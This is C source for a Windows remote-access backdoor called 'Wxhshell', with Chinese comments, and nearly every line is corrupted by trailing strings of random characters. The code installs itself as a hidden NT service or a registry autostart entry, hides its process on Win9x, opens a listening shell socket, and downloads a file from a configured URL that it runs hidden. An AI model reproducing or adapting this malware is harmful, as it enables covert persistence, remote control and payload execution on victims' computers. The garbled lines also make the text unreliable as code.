PROCNTQSIP NtQueryInformationProcess; +%0+
8ARpjYZP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q~`n%uYg\{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Oo,<zS=ICk
Pp?J5HW
HANDLE hProcess; N.uw2Y%
PROCESS_BASIC_INFORMATION pbi; [b`k\~N4r
yZKj>P1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6+>q1,<
if(NULL == hInst ) return 0; Gk<h_1WWK
>zhbOkR9c
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tH$Z_(5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); arnu|paw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3K{'~?mM
Bb
m 1&d#
if (!NtQueryInformationProcess) return 0; >n#Pq{7aF
.Sm7na
K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i=Y#kL~f
if(!hProcess) return 0; /.vB /{2
N[Fz6,ZG _
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3ILEc:<0J
+<I>]J2
CloseHandle(hProcess); yPW?%7 h
I~Ziq10
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mN,Od?q[
if(hProcess==NULL) return 0; ~%'M[3Rb
0^4Tem@
HMODULE hMod; )g)X~]*
char procName[255]; ~R3@GaL1
unsigned long cbNeeded; YOqBIbp~&)
!-[e$?-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
Rb?6N
8^2Q ~{i
CloseHandle(hProcess); Xfe,ZC)
hH>t
if(strstr(procName,"services")) return 1; // 以服务启动 =MA$xz3
P@)zNik[
return 0; // 注册表启动 lO[[iMHl<
} >%t"VpvR
Y*0mC "n}
// 主模块 ,_HVPE
int StartWxhshell(LPSTR lpCmdLine) -B'<*Y
{ sdrALl;w|
SOCKET wsl; A^xDAxk
BOOL val=TRUE; +n7bbuxj(X
int port=0; X180_Kt2
struct sockaddr_in door; d(<[$3.
.z+[3Oj_E
if(wscfg.ws_autoins) Install(); @#;2P'KL
t
?rUbN
port=atoi(lpCmdLine); Y}QtgZEt
a=Pl3Uo
if(port<=0) port=wscfg.ws_port; du Pzt
U2seD5I
WSADATA data; w(0's'
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h?jKq2`
wP29xV"5
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; y\]:&)?&C^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,iV|^]X3$/
door.sin_family = AF_INET; _O{3bIay3!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O1Vs!
door.sin_port = htons(port); s"s^rC
,5.ve)/dE
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `*^
f =y
closesocket(wsl); r$d,ChzQn?
return 1; zyTeF~_
} Xi$2MyRd
0@k)Cz[0;
if(listen(wsl,2) == INVALID_SOCKET) { :@mb.'%*!
closesocket(wsl); cyL"?vR*<
return 1; v,^2'C$o
} gm'8,ZL
Wxhshell(wsl); #!qa#.Yi
WSACleanup(); Xgou7x<
f5'Cq)Vw_
return 0; < j^8L^
{FNmYneh?6
} %v5 IR
HJ~0_n&
// 以NT服务方式启动 rE)lt0mkv
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K?`Fpg(
{ 8R0Q -,'
DWORD status = 0; ZjLu qo
DWORD specificError = 0xfffffff; nB>C3e
x%@n$4wk7
serviceStatus.dwServiceType = SERVICE_WIN32; 5FKb7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z#+lwZD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m`_s_#
serviceStatus.dwWin32ExitCode = 0; cgY+xd@
serviceStatus.dwServiceSpecificExitCode = 0; -*HR0:H
serviceStatus.dwCheckPoint = 0; F/}(FG<'>I
serviceStatus.dwWaitHint = 0; WTK )SKa,.
H}vq2 |MN
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SA!P:Q?h
if (hServiceStatusHandle==0) return; ()%NotN;
?QR13l(
status = GetLastError(); vuN!7*d+
if (status!=NO_ERROR) "h58I)O
{ 2Tt^^Lb
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2z#gn9Wb
serviceStatus.dwCheckPoint = 0; I8M^]+c
serviceStatus.dwWaitHint = 0; 7
G37V"''
serviceStatus.dwWin32ExitCode = status; D[#6jJAb
serviceStatus.dwServiceSpecificExitCode = specificError; 4b5'nu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JlaT
-j
return; ?9W2wqN>o
} J7a_a>Y
rW),xfo0
serviceStatus.dwCurrentState = SERVICE_RUNNING; oQ
YmywY
serviceStatus.dwCheckPoint = 0; 4}&$s
serviceStatus.dwWaitHint = 0; D6z*J?3^#&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $1KvL8
} cug=k
.A%*AlX
// 处理NT服务事件,比如:启动、停止 M4rI]^lJ
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5=@q!8a*
{ 3Q;XvrGA
switch(fdwControl) :$qa
{ +s$` kl
case SERVICE_CONTROL_STOP: G)cEUEf
d
serviceStatus.dwWin32ExitCode = 0; T*pcS'?'
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,.6)y1!
serviceStatus.dwCheckPoint = 0; 4Kl{^2
serviceStatus.dwWaitHint = 0; EUGN`t-M
{ Ga,+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2d:IYCl4q
} V
d`}F0WD
return; K-X@3&X}
case SERVICE_CONTROL_PAUSE: Q&\(m[:)
serviceStatus.dwCurrentState = SERVICE_PAUSED; ku*H*o~
break; nI0TvBD
case SERVICE_CONTROL_CONTINUE: zfGS=@e]G
serviceStatus.dwCurrentState = SERVICE_RUNNING; RZ+SOZs7H
break; {PBm dX
case SERVICE_CONTROL_INTERROGATE: >oYr=O
break; fC|NK+Xd`
}; m0M;f+^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o!$O+%4
} crvq]J5
<?h,;]U
// 标准应用程序主函数 dAba'|Y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $- 4 Zi
{ 1[4
2f#
e]5
n4"]D)
// 获取操作系统版本 E=3UaYr
OsIsNt=GetOsVer(); %Bxp
!Bj
GetModuleFileName(NULL,ExeFile,MAX_PATH); D2N<a= #
N Ftmus
// 从命令行安装 T#OrsJdu
if(strpbrk(lpCmdLine,"iI")) Install(); <4Ev3z*;Z
Rlyx&C8
// 下载执行文件 Tup2;\y
if(wscfg.ws_downexe) { 2WF7^$^:
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P[L] S7FTr
WinExec(wscfg.ws_filenam,SW_HIDE); zqJ0pDS
} +5<]s+4T
!TwH;#U w
if(!OsIsNt) { xQKRUHDc
// 如果时win9x,隐藏进程并且设置为注册表启动 -mfd ngp3
HideProc(); f?Am)
StartWxhshell(lpCmdLine); -5X*y4#
} {BI5lvx:
else F'Lav?^
if(StartFromService()) =CqZ $
// 以服务方式启动 e09('SON(
StartServiceCtrlDispatcher(DispatchTable); .).}ffhOL
else D^-6=@<3KD
// 普通方式启动 [Z-S0
StartWxhshell(lpCmdLine); a@?2T,$
+-$Hx5
return 0; q{RH/. l
}